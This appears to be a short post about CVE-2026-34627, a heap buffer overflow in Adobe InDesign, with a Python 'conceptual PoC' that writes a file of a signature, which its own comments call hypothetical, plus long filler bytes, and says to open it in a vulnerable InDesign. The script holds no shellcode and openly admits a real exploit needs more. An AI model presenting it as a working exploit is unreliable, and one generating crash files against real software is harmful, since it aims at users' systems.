CVE-2026-34627 Adobe InDesign 堆缓冲区溢出漏洞

import os import struct # Conceptual PoC for CVE-2026-34627 (Heap-based Buffer Overflow) # This script generates a malformed file potentially triggering the crash. # Note: Actual exploitation requires specific knowledge of the file format structure. def generate_malicious_indd(file_path): # Generic InDesign file signature (hypothetical for demonstration) header = b"\x06\x06\xED\xF5" # Padding to reach the vulnerable structure padding = b"A" * 100 # Overflow payload: Large pattern to trigger heap corruption # In a real exploit, this would contain ROP chains or shellcode overflow_payload = b"B" * 5000 # Construct the malicious payload payload = header + padding + overflow_payload with open(file_path, "wb") as f: f.write(payload) print(f"[+] Malicious file generated at: {file_path}") print("[*] Attempt to open this file in a vulnerable version of Adobe InDesign to test.") if __name__ == "__main__": generate_malicious_indd("exploit_test.indd")